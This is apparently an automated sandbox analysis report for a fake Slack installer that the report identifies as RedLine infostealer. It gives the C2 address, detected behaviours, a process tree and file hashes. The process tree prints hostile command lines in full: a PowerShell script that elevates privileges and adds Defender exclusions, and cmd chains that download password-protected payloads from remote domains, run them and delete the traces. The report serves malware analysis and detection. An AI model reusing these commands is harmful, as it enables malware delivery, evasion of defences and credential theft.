Resubmissions

15-06-2023 13:48

230615-q4kk4she67 10

11-06-2023 18:58

230611-xmzr2aad3z 10

Analysis

  • max time kernel
    301s
  • max time network
    314s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11-06-2023 18:58

General

  • Target

    SlackSetup.exe

  • Size

    364KB

  • MD5

    a371421bfe2b541c078fc43b008a4e27

  • SHA1

    f74b4931c61a54ea12a10a5b6b48c8bb4dd4706b

  • SHA256

    b8f5519f7d66e7940e92f49c9f5f0cac0ae12cc9c9072c5308475bd5d093cdca

  • SHA512

    653c62cc43ec2cda143cdce4ee633f6482a780cb83b36dafc9625f3406756909f5d7250b2d6610b57858b3154e7b461fddded2bc20436865d3e59ca88d96b5e8

  • SSDEEP

    6144:tpS9kEFKbITUvR8cy8dzQ7Lcf3Si96sfO+2RZrTql9unNrkYqlGwrZPHifJWP7w:tp8KLBzQ7Lcf3SiQs2FTTql9unNrkvfy

Malware Config

Extracted

Family

redline

Botnet

2

C2

missunno.com:80

Attributes
  • auth_value

    a2810548b2740462ea1c66aa3bc71f08

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • Find unpacked information stealer based on possible SQL query to retrieve broswer data 1 IoCs

    Detects infostealer.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 4 IoCs
  • Checks computer location settings 2 TTPs 8 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Suspicious use of SetThreadContext 2 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Executes dropped EXE 24 IoCs
  • Loads dropped DLL 30 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 7 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 3 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Modifies registry class 7 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 21 IoCs
  • Suspicious use of SendNotifyMessage 7 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\SlackSetup.exe
    "C:\Users\Admin\AppData\Local\Temp\SlackSetup.exe"
    1⤵
    • Checks computer location settings
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:1280
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /K >nul timeout /t 20 /nobreak & tasklist /FI "IMAGENAME eq Setups.exe" | find /i "Setups.exe" > nul & if not errorlevel 1 (echo Setups.exe is already running.) else (start "" "C:\Users\Admin\AppData\Roaming\newplugin\Setups.exe" & echo Setups.exe has been started.) & EXIT
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2624
      • C:\Windows\SysWOW64\timeout.exe
        timeout /t 20 /nobreak
        3⤵
        • Delays execution with timeout.exe
        PID:3300
      • C:\Windows\SysWOW64\tasklist.exe
        tasklist /FI "IMAGENAME eq Setups.exe"
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:4100
      • C:\Windows\SysWOW64\find.exe
        find /i "Setups.exe"
        3⤵
          PID:1640
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "$AdminRightsRequired = $true function Get-Win { while ($true) { # Elevate privileges if (-not (IsAdministrator)) { $proc = New-Object System.Diagnostics.Process $proc.StartInfo.WindowStyle = 'Hidden' $proc.StartInfo.FileName = [System.Diagnostics.Process]::GetCurrentProcess().MainModule.FileName $exclusionPaths = '${env:ProgramData}','${env:AppData}' $proc.StartInfo.Arguments = '-Command "Add-MpPreference -ExclusionPath ""' + ($exclusionPaths -join ',') + '"""' $proc.StartInfo.UseShellExecute = $true $proc.StartInfo.Verb = 'runas' $proc.StartInfo.CreateNoWindow = $true try { $proc.Start() | Out-Null $proc.WaitForExit() | Out-Null [Environment]::Exit(1) } catch [System.ComponentModel.Win32Exception] { if ($AdminRightsRequired) { continue } else { break } } } else { break } } } function IsAdministrator { $identity = [System.Security.Principal.WindowsIdentity]::GetCurrent() $principal = New-Object System.Security.Principal.WindowsPrincipal($identity) return $principal.IsInRole([System.Security.Principal.WindowsBuiltInRole]::Administrator) } Get-Win"
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1984
      • C:\Users\Admin\AppData\Roaming\newplugin\Setups.exe
        "C:\Users\Admin\AppData\Roaming\newplugin\Setups.exe"
        2⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:3736
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /K >nul timeout /t 309 /nobreak & start /wait /min C:\Users\Admin\AppData\Roaming\newplugin\wget.exe -q --no-check-certificate --content-disposition "https://www.cmd22.pw/22" -P C:\Users\Admin\AppData\Roaming\newplugin\new\ & >nul timeout /t 18 /nobreak & start /wait /min C:\Users\Admin\AppData\Roaming\newplugin\7z.exe x -y C:\Users\Admin\AppData\Roaming\newplugin\new\02plugins*.* -pjryj2023 -oC:\Users\Admin\AppData\Roaming\newplugin\new\ & >nul timeout /t 11 /nobreak & for %i in ("C:\Users\Admin\AppData\Roaming\newplugin\new\2plugin*") do start "" "%~i" & start /wait /min C:\Users\Admin\AppData\Roaming\newplugin\wget.exe -q --no-check-certificate --content-disposition "https://www.cmd2.pw/2" -P C:\Users\Admin\AppData\Roaming\newplugin\new\ & >nul timeout /t 12 /nobreak & start /wait /min C:\Users\Admin\AppData\Roaming\newplugin\7z.exe x -y C:\Users\Admin\AppData\Roaming\newplugin\new\03plugins*.* -pjryj2023 -oC:\Users\Admin\AppData\Roaming\newplugin\new\ & >nul timeout /t 15 /nobreak & for %i in ("C:\Users\Admin\AppData\Roaming\newplugin\new\3plugin*") do start "" "%~i" & >nul timeout /t 66 /nobreak & rd /s /q "C:\Users\Admin\AppData\Roaming\newplugin" & EXIT
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2168
          • C:\Windows\SysWOW64\timeout.exe
            timeout /t 309 /nobreak
            4⤵
            • Delays execution with timeout.exe
            PID:404
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /K start .\data\appInfo\SlackSetup.exe & >nul timeout /t 90 /nobreak & start .\data\appInfo\setup.exe & EXIT
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1300
          • C:\Users\Admin\AppData\Local\Temp\data\appInfo\SlackSetup.exe
            .\data\appInfo\SlackSetup.exe
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:1504
            • C:\Users\Admin\AppData\Local\SquirrelTemp\Update.exe
              "C:\Users\Admin\AppData\Local\SquirrelTemp\Update.exe" --install .
              5⤵
              • Checks computer location settings
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of WriteProcessMemory
              PID:2996
              • C:\Users\Admin\AppData\Local\slack\app-4.32.122\Squirrel.exe
                "C:\Users\Admin\AppData\Local\slack\app-4.32.122\Squirrel.exe" --updateSelf=C:\Users\Admin\AppData\Local\SquirrelTemp\Update.exe
                6⤵
                • Executes dropped EXE
                PID:1916
              • C:\Users\Admin\AppData\Local\slack\app-4.32.122\slack.exe
                "C:\Users\Admin\AppData\Local\slack\app-4.32.122\slack.exe" --squirrel-install 4.32.122
                6⤵
                • Adds Run key to start application
                • Checks computer location settings
                • Executes dropped EXE
                • Loads dropped DLL
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:2788
                • C:\Users\Admin\AppData\Local\slack\update.exe
                  C:\Users\Admin\AppData\Local\slack\update.exe --createShortcut slack.exe -l Desktop,StartMenu
                  7⤵
                  • Executes dropped EXE
                  PID:208
                • C:\Users\Admin\AppData\Local\slack\app-4.32.122\slack.exe
                  "C:\Users\Admin\AppData\Local\slack\app-4.32.122\slack.exe" --type=gpu-process --enable-logging --user-data-dir="C:\Users\Admin\AppData\Roaming\Slack" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= --enable-logging --log-file="C:\Users\Admin\AppData\Roaming\Slack\logs\default\electron_debug.log" --mojo-platform-channel-handle=1808 --field-trial-handle=1812,i,247983326665179033,16809004284512215778,131072 --disable-features=AllowAggressiveThrottlingWithWebSocket,CalculateNativeWinOcclusion,HardwareMediaKeyHandling,IntensiveWakeUpThrottling,LogJsConsoleMessages,RequestInitiatorSiteLockEnfocement,SpareRendererForSitePerProcess,WebRtcHideLocalIpsWithMdns,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
                  7⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  PID:3972
                • C:\Users\Admin\AppData\Local\slack\app-4.32.122\slack.exe
                  "C:\Users\Admin\AppData\Local\slack\app-4.32.122\slack.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --enable-logging --user-data-dir="C:\Users\Admin\AppData\Roaming\Slack" --enable-logging --log-file="C:\Users\Admin\AppData\Roaming\Slack\logs\default\electron_debug.log" --mojo-platform-channel-handle=2040 --field-trial-handle=1812,i,247983326665179033,16809004284512215778,131072 --disable-features=AllowAggressiveThrottlingWithWebSocket,CalculateNativeWinOcclusion,HardwareMediaKeyHandling,IntensiveWakeUpThrottling,LogJsConsoleMessages,RequestInitiatorSiteLockEnfocement,SpareRendererForSitePerProcess,WebRtcHideLocalIpsWithMdns,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8
                  7⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Suspicious behavior: EnumeratesProcesses
                  PID:4600
              • C:\Users\Admin\AppData\Local\slack\app-4.32.122\slack.exe
                "C:\Users\Admin\AppData\Local\slack\app-4.32.122\slack.exe" --squirrel-firstrun
                6⤵
                • Adds Run key to start application
                • Checks computer location settings
                • Executes dropped EXE
                • Loads dropped DLL
                • Checks processor information in registry
                • Modifies registry class
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of FindShellTrayWindow
                • Suspicious use of SendNotifyMessage
                PID:3844
                • C:\Users\Admin\AppData\Local\slack\app-4.32.122\slack.exe
                  C:\Users\Admin\AppData\Local\slack\app-4.32.122\slack.exe --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Roaming\Slack /prefetch:7 --no-upload-gzip --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Roaming\Slack\Crashpad --url=https://slack.com/apps/sentryproxy/api/5277886/minidump/?sentry_key=fd30fe469dbf4aec9db40548e5acf91e --annotation=_productName=Slack --annotation=_version=4.32.122 --annotation=plat=Win64 --annotation=prod=Electron "--annotation=sentry___initialScope={\"release\":\"[email protected]\",\"environment\":\"production\",\"user\":{\"id\":\"3ae8c28c-5c14-4506-a3ba-c5e80d6417ae\"},\"tags\":{\"uuid\":\"3ae8c28c-5c14-4506-a3ba-c5e80d6417ae\"}}" --annotation=ver=24.1.2 --initial-client-data=0x484,0x488,0x48c,0x43c,0x490,0x7ff711485c70,0x7ff711485c80,0x7ff711485c90
                  7⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  PID:3628
                • C:\Users\Admin\AppData\Local\slack\app-4.32.122\slack.exe
                  "C:\Users\Admin\AppData\Local\slack\app-4.32.122\slack.exe" --type=gpu-process --enable-logging --user-data-dir="C:\Users\Admin\AppData\Roaming\Slack" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= --enable-logging --log-file="C:\Users\Admin\AppData\Roaming\Slack\logs\default\electron_debug.log" --mojo-platform-channel-handle=1800 --field-trial-handle=1804,i,2639617442608119034,15140574180749678788,131072 --disable-features=AllowAggressiveThrottlingWithWebSocket,CalculateNativeWinOcclusion,HardwareMediaKeyHandling,IntensiveWakeUpThrottling,LogJsConsoleMessages,RequestInitiatorSiteLockEnfocement,SpareRendererForSitePerProcess,WebRtcHideLocalIpsWithMdns,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
                  7⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  PID:1356
                • C:\Users\Admin\AppData\Local\slack\app-4.32.122\slack.exe
                  "C:\Users\Admin\AppData\Local\slack\app-4.32.122\slack.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --enable-logging --user-data-dir="C:\Users\Admin\AppData\Roaming\Slack" --standard-schemes=app,slack-webapp-dev --enable-sandbox --secure-schemes=app,slack-webapp-dev --bypasscsp-schemes=slack-webapp-dev --cors-schemes=slack-webapp-dev --fetch-schemes=slack-webapp-dev --service-worker-schemes=slack-webapp-dev --streaming-schemes --enable-logging --log-file="C:\Users\Admin\AppData\Roaming\Slack\logs\default\electron_debug.log" --mojo-platform-channel-handle=2004 --field-trial-handle=1804,i,2639617442608119034,15140574180749678788,131072 --disable-features=AllowAggressiveThrottlingWithWebSocket,CalculateNativeWinOcclusion,HardwareMediaKeyHandling,IntensiveWakeUpThrottling,LogJsConsoleMessages,RequestInitiatorSiteLockEnfocement,SpareRendererForSitePerProcess,WebRtcHideLocalIpsWithMdns,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8
                  7⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Suspicious behavior: EnumeratesProcesses
                  PID:3896
                • C:\Users\Admin\AppData\Local\slack\app-4.32.122\slack.exe
                  "C:\Users\Admin\AppData\Local\slack\app-4.32.122\slack.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Roaming\Slack" --standard-schemes=app,slack-webapp-dev --enable-sandbox --secure-schemes=app,slack-webapp-dev --bypasscsp-schemes=slack-webapp-dev --cors-schemes=slack-webapp-dev --fetch-schemes=slack-webapp-dev --service-worker-schemes=slack-webapp-dev --streaming-schemes --app-user-model-id=com.squirrel.slack.slack --app-path="C:\Users\Admin\AppData\Local\slack\app-4.32.122\resources\app.asar" --enable-sandbox --enable-blink-features=ExperimentalJSProfiler --disable-blink-features --first-renderer-process --autoplay-policy=no-user-gesture-required --enable-logging --force-color-profile=srgb --log-file="C:\Users\Admin\AppData\Roaming\Slack\logs\default\electron_debug.log" --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=4 --mojo-platform-channel-handle=2640 --field-trial-handle=1804,i,2639617442608119034,15140574180749678788,131072 --disable-features=AllowAggressiveThrottlingWithWebSocket,CalculateNativeWinOcclusion,HardwareMediaKeyHandling,IntensiveWakeUpThrottling,LogJsConsoleMessages,RequestInitiatorSiteLockEnfocement,SpareRendererForSitePerProcess,WebRtcHideLocalIpsWithMdns,WinRetrieveSuggestionsOnlyOnDemand --window-type=main /prefetch:1
                  7⤵
                  • Checks computer location settings
                  • Executes dropped EXE
                  • Loads dropped DLL
                  PID:3740
                • C:\Users\Admin\AppData\Local\slack\app-4.32.122\slack.exe
                  "C:\Users\Admin\AppData\Local\slack\app-4.32.122\slack.exe" --type=gpu-process --enable-logging --user-data-dir="C:\Users\Admin\AppData\Roaming\Slack" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --enable-logging --log-file="C:\Users\Admin\AppData\Roaming\Slack\logs\default\electron_debug.log" --mojo-platform-channel-handle=1820 --field-trial-handle=1804,i,2639617442608119034,15140574180749678788,131072 --disable-features=AllowAggressiveThrottlingWithWebSocket,CalculateNativeWinOcclusion,HardwareMediaKeyHandling,IntensiveWakeUpThrottling,LogJsConsoleMessages,RequestInitiatorSiteLockEnfocement,SpareRendererForSitePerProcess,WebRtcHideLocalIpsWithMdns,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
                  7⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  PID:2092
                • C:\Users\Admin\AppData\Local\slack\app-4.32.122\slack.exe
                  "C:\Users\Admin\AppData\Local\slack\app-4.32.122\slack.exe" --type=gpu-process --enable-logging --user-data-dir="C:\Users\Admin\AppData\Roaming\Slack" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=disabled --enable-logging --log-file="C:\Users\Admin\AppData\Roaming\Slack\logs\default\electron_debug.log" --mojo-platform-channel-handle=1944 --field-trial-handle=1804,i,2639617442608119034,15140574180749678788,131072 --disable-features=AllowAggressiveThrottlingWithWebSocket,CalculateNativeWinOcclusion,HardwareMediaKeyHandling,IntensiveWakeUpThrottling,LogJsConsoleMessages,RequestInitiatorSiteLockEnfocement,SpareRendererForSitePerProcess,WebRtcHideLocalIpsWithMdns,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
                  7⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  PID:4832
          • C:\Windows\SysWOW64\timeout.exe
            timeout /t 90 /nobreak
            4⤵
            • Delays execution with timeout.exe
            PID:4056
          • C:\Users\Admin\AppData\Local\Temp\data\appInfo\setup.exe
            .\data\appInfo\setup.exe
            4⤵
              PID:3296
          • C:\Users\Admin\AppData\Roaming\newplugin\wget.exe
            "C:\Users\Admin\AppData\Roaming\newplugin\wget.exe" ping --content-disposition https://www.vbs1.pw -P C:\Users\Admin\AppData\Roaming\newplugin
            3⤵
            • Executes dropped EXE
            • Suspicious use of FindShellTrayWindow
            PID:5056
          • C:\Users\Admin\AppData\Roaming\newplugin\winrar.exe
            "C:\Users\Admin\AppData\Roaming\newplugin\winrar.exe" x -y -pjryj2023 C:\Users\Admin\AppData\Roaming\newplugin\01plugins*.* "plugin*" C:\Users\Admin\AppData\Roaming\newplugin
            3⤵
            • Executes dropped EXE
            • Suspicious use of FindShellTrayWindow
            PID:4676
          • C:\Users\Admin\AppData\Roaming\newplugin\pluginrbtry
            C:\Users\Admin\AppData\Roaming\newplugin\pluginrbtry
            3⤵
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            PID:3388
            • C:\Windows\system32\WerFault.exe
              C:\Windows\system32\WerFault.exe -u -p 3388 -s 932
              4⤵
              • Program crash
              PID:3032
          • C:\Users\Admin\AppData\Roaming\newplugin\wget.exe
            "C:\Users\Admin\AppData\Roaming\newplugin\wget.exe" ping --content-disposition https://www.vbs22.pw -P C:\Users\Admin\AppData\Roaming\newplugin
            3⤵
            • Executes dropped EXE
            • Suspicious use of FindShellTrayWindow
            PID:1764
          • C:\Users\Admin\AppData\Roaming\newplugin\winrar.exe
            "C:\Users\Admin\AppData\Roaming\newplugin\winrar.exe" x -y -pjryj2023 C:\Users\Admin\AppData\Roaming\newplugin\02plugins*.* "2plugin*" C:\Users\Admin\AppData\Roaming\newplugin
            3⤵
            • Executes dropped EXE
            • Suspicious use of FindShellTrayWindow
            PID:3688
          • C:\Users\Admin\AppData\Roaming\newplugin\2plugintbr
            C:\Users\Admin\AppData\Roaming\newplugin\2plugintbr
            3⤵
            • Suspicious use of SetThreadContext
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            PID:4520
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
              4⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1964
          • C:\Users\Admin\AppData\Roaming\newplugin\wget.exe
            "C:\Users\Admin\AppData\Roaming\newplugin\wget.exe" ping --content-disposition https://www.vbs3.pw -P C:\Users\Admin\AppData\Roaming\newplugin
            3⤵
            • Executes dropped EXE
            • Suspicious use of FindShellTrayWindow
            PID:2292
          • C:\Users\Admin\AppData\Roaming\newplugin\winrar.exe
            "C:\Users\Admin\AppData\Roaming\newplugin\winrar.exe" x -y -pjryj2023 C:\Users\Admin\AppData\Roaming\newplugin\03plugins*.* "3plugin*" C:\Users\Admin\AppData\Roaming\newplugin
            3⤵
            • Executes dropped EXE
            • Suspicious use of FindShellTrayWindow
            PID:1324
          • C:\Users\Admin\AppData\Roaming\newplugin\3plugin_20230609
            C:\Users\Admin\AppData\Roaming\newplugin\3plugin_20230609
            3⤵
            • Checks computer location settings
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            PID:4280
      • C:\Windows\system32\WerFault.exe
        C:\Windows\system32\WerFault.exe -pss -s 368 -p 3388 -ip 3388
        1⤵
          PID:3696
        • C:\Users\Admin\AppData\Roaming\TypeName\Current
          C:\Users\Admin\AppData\Roaming\TypeName\Current
          1⤵
          • Checks computer location settings
          • Suspicious use of SetThreadContext
          • Executes dropped EXE
          PID:3008
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInUtil.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInUtil.exe
            2⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:5064

        Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\SquirrelTemp\RELEASES

          Filesize

          79B

          MD5

          5f85754370ef415f61b2f9b21ab4022a

          SHA1

          dbae97429f52dfb0a92e6235a1174b91670a1dcd

          SHA256

          57c1991670227592a1bed24877706b7ed6ee28efc1f8ec70ddb8527938a86293

          SHA512

          f1668fe191bc1de1ea818f211cde1180f93947eff31a805b8ca7adb1b138dbe307bd1497c9c00868768a334d13b1b25710e260441ed300af26200e02bdf65527

        • C:\Users\Admin\AppData\Local\SquirrelTemp\Update.exe

          Filesize

          1.5MB

          MD5

          108ca1dd522e8c43805a52625316de04

          SHA1

          4182ca223594aa6a9a1befcec31aaf61c77ca1fa

          SHA256

          d1a747f68d2d740b672430b380f0748feceab80e630a4002356de2f0ef233f00

          SHA512

          046a54d71b75d96d7b90d059c7a9bab7591ae93eb57ab6bd7e3b88617442d4f362e3d1f289e1c1f45888b59905d9117717da9f3059c8a3b06fb551ce14bd9ce8

        • C:\Users\Admin\AppData\Local\SquirrelTemp\Update.exe

          Filesize

          1.5MB

          MD5

          108ca1dd522e8c43805a52625316de04

          SHA1

          4182ca223594aa6a9a1befcec31aaf61c77ca1fa

          SHA256

          d1a747f68d2d740b672430b380f0748feceab80e630a4002356de2f0ef233f00

          SHA512

          046a54d71b75d96d7b90d059c7a9bab7591ae93eb57ab6bd7e3b88617442d4f362e3d1f289e1c1f45888b59905d9117717da9f3059c8a3b06fb551ce14bd9ce8

        • C:\Users\Admin\AppData\Local\SquirrelTemp\background.gif

          Filesize

          191KB

          MD5

          0b6b63cdaeae40f461aadfdef1d526bc

          SHA1

          b7cccd3328769552e9e8e0860ba933e9f6eb562f

          SHA256

          a23577728f09e8f4b24d7b03d2cb3611428d6acd2efb72db28289c7901e42fd8

          SHA512

          a07b77ad039762f5235348189767955a1ae5c37ba6a9697161855afab966d3e75e73337ae0853499a09b2bef74a5d8cfc00cf2525e165cc77ee82497bc6bb223

        • C:\Users\Admin\AppData\Local\SquirrelTemp\slack-4.32.122-full.nupkg

          Filesize

          109.3MB

          MD5

          aad01b0ab5785397206a9b1087dca556

          SHA1

          291a2f0d5a1c0721056d38155a1e5d79f255a812

          SHA256

          fc0412e3e8d4fabc7f3c67f9b5706fe7d34ee8552488f540967923c854505a64

          SHA512

          5311d193d16fa00be385783750ba2c4d60f4dbaa0912cf0810851e15333df185353f50aca8d723fdc96f914caba46feac4c1f95acd95a3386f9423b9571b7381

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jnpfsdak.ffc.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\AppData\Local\slack\Update.exe

          Filesize

          1.5MB

          MD5

          108ca1dd522e8c43805a52625316de04

          SHA1

          4182ca223594aa6a9a1befcec31aaf61c77ca1fa

          SHA256

          d1a747f68d2d740b672430b380f0748feceab80e630a4002356de2f0ef233f00

          SHA512

          046a54d71b75d96d7b90d059c7a9bab7591ae93eb57ab6bd7e3b88617442d4f362e3d1f289e1c1f45888b59905d9117717da9f3059c8a3b06fb551ce14bd9ce8

        • C:\Users\Admin\AppData\Local\slack\app-4.32.122\D3DCompiler_47.dll

          Filesize

          4.7MB

          MD5

          2191e768cc2e19009dad20dc999135a3

          SHA1

          f49a46ba0e954e657aaed1c9019a53d194272b6a

          SHA256

          7353f25dc5cf84d09894e3e0461cef0e56799adbc617fce37620ca67240b547d

          SHA512

          5adcb00162f284c16ec78016d301fc11559dd0a781ffbeff822db22efbed168b11d7e5586ea82388e9503b0c7d3740cf2a08e243877f5319202491c8a641c970

        • C:\Users\Admin\AppData\Local\slack\app-4.32.122\Squirrel.exe

          Filesize

          1.5MB

          MD5

          43715fc94ef95ad33ec16484342c0148

          SHA1

          8caeaf946e85bcc05fcf63e2f1054e4e23671cee

          SHA256

          910042aa9bcdc62227ea2bd731a0d15c25566f26c92f649049c1d9c7fc15179e

          SHA512

          bec557cb86d4a0562603b81a29e0f6ae9661cb8dd2f9bb062f5f8298260cdb5d52736bcb06479e4ab7a51dbd3a5b17b9746b2012cd2eee97882345e2b73897c1

        • C:\Users\Admin\AppData\Local\slack\app-4.32.122\chrome_100_percent.pak

          Filesize

          124KB

          MD5

          acd0fa0a90b43cd1c87a55a991b4fac3

          SHA1

          17b84e8d24da12501105b87452f86bfa5f9b1b3c

          SHA256

          ccbca246b9a93fa8d4f01a01345e7537511c590e4a8efd5777b1596d10923b4b

          SHA512

          3e4c4f31c6c7950d5b886f6a8768077331a8f880d70b905cf7f35f74be204c63200ff4a88fa236abccc72ec0fc102c14f50dd277a30f814f35adfe5a7ae3b774

        • C:\Users\Admin\AppData\Local\slack\app-4.32.122\chrome_200_percent.pak

          Filesize

          173KB

          MD5

          4610337e3332b7e65b73a6ea738b47df

          SHA1

          8d824c9cf0a84ab902e8069a4de9bf6c1a9aaf3b

          SHA256

          c91abf556e55c29d1ea9f560bb17cc3489cb67a5d0c7a22b58485f5f2fbcf25c

          SHA512

          039b50284d28dcd447e0a486a099fa99914d29b543093cccda77bbefdd61f7b7f05bb84b2708ae128c5f2d0c0ab19046d08796d1b5a1cff395a0689ab25ccb51

        • C:\Users\Admin\AppData\Local\slack\app-4.32.122\d3dcompiler_47.dll

          Filesize

          4.7MB

          MD5

          2191e768cc2e19009dad20dc999135a3

          SHA1

          f49a46ba0e954e657aaed1c9019a53d194272b6a

          SHA256

          7353f25dc5cf84d09894e3e0461cef0e56799adbc617fce37620ca67240b547d

          SHA512

          5adcb00162f284c16ec78016d301fc11559dd0a781ffbeff822db22efbed168b11d7e5586ea82388e9503b0c7d3740cf2a08e243877f5319202491c8a641c970

        • C:\Users\Admin\AppData\Local\slack\app-4.32.122\ffmpeg.dll

          Filesize

          2.8MB

          MD5

          667acfb13bd054da2268b2b75717e431

          SHA1

          6ec7668402863afef51f75ac3b1b7db212a003bb

          SHA256

          ebfd56870737e928de26c61f44319f3a3e3dacc41a5f8347138efd108d23cc59

          SHA512

          1dcc2abde50b9ab8f9152acc067f21cb3407619bcb6730d6e61c93e832edc51c3a79054c6ec11a439b87186559457b5721190ef2b62a6b5059650624f8953356

        • C:\Users\Admin\AppData\Local\slack\app-4.32.122\ffmpeg.dll

          Filesize

          2.8MB

          MD5

          667acfb13bd054da2268b2b75717e431

          SHA1

          6ec7668402863afef51f75ac3b1b7db212a003bb

          SHA256

          ebfd56870737e928de26c61f44319f3a3e3dacc41a5f8347138efd108d23cc59

          SHA512

          1dcc2abde50b9ab8f9152acc067f21cb3407619bcb6730d6e61c93e832edc51c3a79054c6ec11a439b87186559457b5721190ef2b62a6b5059650624f8953356

        • C:\Users\Admin\AppData\Local\slack\app-4.32.122\ffmpeg.dll

          Filesize

          2.8MB

          MD5

          667acfb13bd054da2268b2b75717e431

          SHA1

          6ec7668402863afef51f75ac3b1b7db212a003bb

          SHA256

          ebfd56870737e928de26c61f44319f3a3e3dacc41a5f8347138efd108d23cc59

          SHA512

          1dcc2abde50b9ab8f9152acc067f21cb3407619bcb6730d6e61c93e832edc51c3a79054c6ec11a439b87186559457b5721190ef2b62a6b5059650624f8953356

